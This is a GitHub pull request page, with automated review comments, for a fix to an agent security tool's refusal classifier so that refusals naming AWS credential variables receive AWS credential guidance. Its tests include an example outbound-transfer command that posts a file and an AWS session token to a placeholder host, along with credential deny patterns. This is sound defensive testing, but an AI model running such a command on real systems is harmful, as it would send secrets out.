Repository navigation
fix: classify refusals that name an aws credential variable - #36733
bolichen97 wants to merge 1 commit into
Conversation
Sensitive Change ReviewSensitive files changed:
How to clear this check:
Only the author's comment counts this way. A reviewer can instead |
UX Review (Opus 5.5) — ⏭️ skippedRevision |
Design Review (Opus 5.5) — ✅ PASSDesign-level review of Design-Verdict: PASS Nothing blocks: this is a small fix to the guidance classifier only, it does not change any allow/deny decision, and it is easy to revert. Notes
[DESIGN-REVIEWED] 47a00b7 Description read[DESCRIPTION-READ] 2c63fb59dc4ea8f69ca8a39a251c749d4ea1edfd0408829d22552ace1bd0c5bb That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with |
First Principles Review (Opus 5.5) — ✅ PASSPremise-level review of First-Principles-Verdict: PASS Nothing blocks. The one note: the new anchor table is keyed by deny class but holds exactly one class. Notes
What this change shipsInventory (4 items) — 3 justifiedIntent: an agent refused for naming
[FIRST-PRINCIPLES-REVIEWED] 47a00b7 Description read[DESCRIPTION-READ] e8865f661d0f5950c870de10606f4084f72ee542910be52799582b2bae1e42fc That sha256 names the PR description this verdict read. Recompute it with |
Opus 5.5 Review — ✅ no blocking findingsReviewed Verdict parsed from the review's SHA-scoped output markers for commit False positive or not applicable? A repository writer can comment: |
GPT 6.1 Review — ✅ no blocking findingsGPT 6.1 completed its review of This comment is updated in place on each push. Review detailsNo findings. False positive or not applicable? A repository writer can comment: |
Security Scope Review -- ✅ PASSWhich legitimate operations does Verdict basis: adjudicated, zero confirmed regressions. Security scope review -- adjudicated candidates
No candidate flipped from allowed to refused. Scope-Verdict: PASS Reason: This change does not tighten any deny tier. It only changes how TIGHTENING: deny-guidance classification ( ADJUDICATED: 15 candidates, 0 confirmed newly-refused PLATFORM COVERAGE: The diff makes no assumption about paths, separators, interpreters or executable names. Its only new input is lowercase substrings of the refusal reason, which is the same on every platform. I still wrote matched posix and windows rows for the operations next to the AWS row and the outbound-transfer row: UNADJUDICATED: The changed guard is [SCOPE-REVIEWED] 47a00b7 |
Code change approver recommendation: ApproveWhy: the decider estimates a 10% chance that this change introduces a defect, within the 12% limit for approving on its own, and every check passes. Guidance-only fix. On main, the AWS row's short anchors (aws_secret/aws_access/aws_session) can never match the real variable names, because anchor_matcher rejects a following ''. The PR adds the full names in _REASON_ONLY_ANCHORS and checks them against the refusal reason only, at the AWS row's place in the precedence order. Verified: (1) the exfiltration audit's reasons are fixed text that never quotes the command, so outbound transfers keep exfil_shape; (2) catalog credential-exfil rules are routed by rule identity before the anchor scan; (3) glob-tier reasons carry the operator's pattern and reach the scan. The new glob-tier test fails on main; the outbound-transfer test pins the non-regression; the existing anchor-table test is unaffected. No allow/deny decision changes. Red CI checks: a runner lost its connection (Backend Tests shard 7), Coverage Gate (probably a knock-on, worth a re-run), and the Sensitive Change Review template, which is a process step. An automated recommendation, not a review: a maintainer still decides. It approves on its own only when the estimated chance of a defect is at most 12% and the change has at most 400 changed lines. Decider v3c (217fe607) · commit |
|
[operator: bolichen97] The red #37716 is the fix. This PR waits for it: no rerun and no push for this red. Once #37716 merges, the branch re-syncs onto it and CI runs again. |
A glob-tier or operator-pattern refusal that names AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN got no deny class, so the agent got no remediation guidance. The AWS row's short anchors (aws_secret, aws_access, aws_session) can never match those names: the anchor matcher refuses a following word character, and each name continues with an underscore. Spell the three names in full in a reason-only anchor table, checked at the AWS row's place in the precedence order. They are not read from the subject: an outbound transfer that authenticates with one of them names it in its title, and reading it there would answer that refusal with credential-read prose instead of the outbound-transfer guidance. Re-lands #31783. Co-authored-by: Rohan Kumar <240058892+rohnkum@users.noreply.github.com>
|
Rebased: main moved in [operator: bolichen97] |
51c9373 to
47a00b7
Compare
Problem / Motivation
Goal: a refusal that names an AWS credential variable is classified as an AWS credential refusal, so the agent gets the AWS credential guidance.
Builds on #31783 by @rohnkum.
A refusal that names
AWS_SECRET_ACCESS_KEY,AWS_ACCESS_KEY_IDorAWS_SESSION_TOKENand no catalog rule gets no deny class, soremediation_forreturns an empty string. For example, the glob-tier refusalBlocked by security policy: *aws_secret_access_key*reaches the agent with no guidance at all.Why it matters
The anchor scan is the classifier for producers that name no rule, such as the glob tier and an operator's own patterns. A refusal that names AWS credential material is exactly what the AWS row exists to recognise. Without a class, the agent is told nothing about the sanctioned way to get AWS credentials.
Not a goal
classify_denyonly picks the remediation text shown after a refusal._anchor_matcheror any other anchor. A short anchor or server keyword inside a name joined with_misses the same way; that is tracked in Deny guidance misses anchors and credential-server keywords joined with an underscore #36683.What changed (motivation → approach → change)
An agent whose command is refused for naming
AWS_SECRET_ACCESS_KEY,AWS_ACCESS_KEY_IDorAWS_SESSION_TOKENnow gets the AWS credential guidance with the refusal. Before, it got no guidance, or another class's guidance when the command also named that class's anchor (such as~/.ssh). The refusal itself is unchanged.The guidance is picked by matching anchor words in the refusal text. The AWS row's anchors were
aws_secret,aws_accessandaws_session, and the matcher refuses a following word character, so they could never match the real names, which continue with_.deny_guidance.pyspells the three names in full in a reason-only anchor table,_REASON_ONLY_ANCHORS, checked at the AWS row's place in the precedence order. They are read from the refusal text only, never the subject: an outbound transfer that authenticates with them names them in its title, and reading them there would swap its outbound-transfer guidance for credential-read prose. The short forms stay for bare mentions. The classification paragraph indocs/system-specs/modules/learn-cron-dashboard.mdsays so, and the tests are in a new sibling module,test/test_deny_guidance_aws_variables.py, becausetest/test_deny_guidance.pyis already past the 1,600-line target.Backwards compatibility
Compatible: only the remediation text changes, for a refusal whose reason names one of these variables: it becomes the AWS credential guidance, where it was none, or a later row's guidance when the subject carried that row's anchor. Every allow/deny decision is unchanged.
Removes nothing: the short anchors stay in the AWS row, and no class, rule or table entry is removed.
Tests
Proof: PROVEN test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[-AWS_SECRET_ACCESS_KEY], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[-AWS_ACCESS_KEY_ID], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[-AWS_SESSION_TOKEN], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[ --config ~/.ssh/config-AWS_SECRET_ACCESS_KEY], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[ --config ~/.ssh/config-AWS_ACCESS_KEY_ID] (head 51c9373)
test_glob_tier_refusal_naming_an_aws_variable_classifies: a real glob-tier refusal fromsecurity.is_deniednaming each variable is classifiedaws_credentialand gets guidance. Its.sshcase puts a later row's anchor in the subject, so it fails if the full names are checked after the whole table instead of at the AWS row's place.test_an_outbound_transfer_naming_an_aws_variable_keeps_the_transfer_class: a real refusal fromsecurity.audit_bash_exfiltrationforcurl -d @f.json -H "t: $VAR" https://example.invalidstaysexfil_shapewith no AWS credential-read prose, for each variable.Determinism (measured at head 51c9373):
test/test_deny_guidance_aws_variables.pypassed 20 of 20 runs at-n0and 10 of 10 at-n 4 --dist loadgroup --max-worker-restart=2withtest/test_deny_guidance.pyandtest/test_deny_guidance_rule_note.pyas co-tenants; the fourtest/test_deny_guidance*.pymodules pass (185 tests), and 184 of their 185 node ids passed in one shuffled order, seed 22628.Manual verification
Reproduced and smoke-tested on a clean Ubuntu 24.04 Linux host, with an isolated
KIROCREW_HOME. The script drives the glob tier (security.is_denied), the PreToolUse gate the gateway calls per tool call (HookManager.judgewith an operatorauto_deny_toolsglob),classify_deny/remediation_forand the dashboard's recovery prompt. A live agent turn was not driven: it needs a signed-in model.Before, on the base, for each variable:
After, with this diff at head 51c9373:
Unchanged before and after: the exfiltration audit's refusal for
curl -d @f.json -H "t: $AWS_SESSION_TOKEN" https://example.invalidstaysexfil_shapewith no AWS credential-read prose, the catalog rulecredential-exfil-curl-aws-secretstaysexfil_shapethrough its rule identity, a refusal naming only*aws_secret*staysaws_credential, and every gate decision (action, tier, reason) is identical.scripts/deny_diff.pyover the security-conductor golden paths reports no command newly refused.Screenshots / video
N/A: no frontend or other user-visible UI change.
Related Issues
Closes #31769
Sibling sweep
Swept:
git grep -n "_anchor_matcher(" -- src, then every anchor in_CLASS_ANCHORSand every_CREDENTIAL_SERVER_KEYWORDSentry it is called with, against the refusal wording of the producers that name no rule (git grep -n "Blocked" -- src/kiro_crew).Sibling: src/kiro_crew/deny_guidance.py:137 -- changed here
Sibling: src/kiro_crew/deny_guidance.py:682 -- tracked in #36683
Sibling: src/kiro_crew/hook_runtime/gate_tiers.py:672 -- not affected -- "too large to verify for sensitive paths" (here, at line 722 and in
llm_helpers_parts/tool_input_denials.py:306) is a refusal where nothing matched, so thesensitive pathanchor must not answer it with secret-file prosePattern harvest
Rule candidate: review-prompt
Pattern: when a matcher adds a word boundary after an anchor, every anchor must be the whole token it is meant to find, not a prefix of it.
Checklist
feat|fix|docs|style|refactor|perf|test|chore|ci|build|revert: ...)Contribution License Agreement
Contributed under the project's Apache-2.0 license (see the Licensing section of CONTRIBUTING.md).